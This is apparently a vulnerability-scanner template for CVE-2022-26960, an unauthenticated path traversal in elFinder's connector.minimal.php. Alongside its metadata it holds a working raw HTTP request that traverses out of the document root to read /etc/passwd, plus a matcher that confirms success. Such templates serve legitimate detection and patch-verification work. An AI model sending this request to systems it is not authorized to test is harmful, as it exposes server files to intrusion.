id: CVE-2022-26960

info:
  name: elFinder <=2.1.60 - Local File Inclusion
  author: pikpikcu
  severity: critical
  description: |
    elFinder through 2.1.60 is affected by local file inclusion via connector.minimal.php. This allows unauthenticated remote attackers to read, write, and browse files outside the configured document root. This is due to improper handling of absolute file paths.
  reference:
    - https://www.synacktiv.com/publications/elfinder-the-story-of-a-repwning.html
    - https://github.com/Studio-42/elFinder/commit/3b758495538a448ac8830ee3559e7fb2c260c6db
    - https://www.synacktiv.com/publications.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-26960
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2022-26960
    cwe-id: CWE-22
  metadata:
    verified: true
  tags: cve,cve2022,lfi,elfinder

requests:
  - raw:
      - |
        GET /elfinder/php/connector.minimal.php?cmd=file&target=l1_<@base64>/var/www/html/elfinder/files//..//..//..//..//..//../etc/passwd<@/base64>&download=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/07/05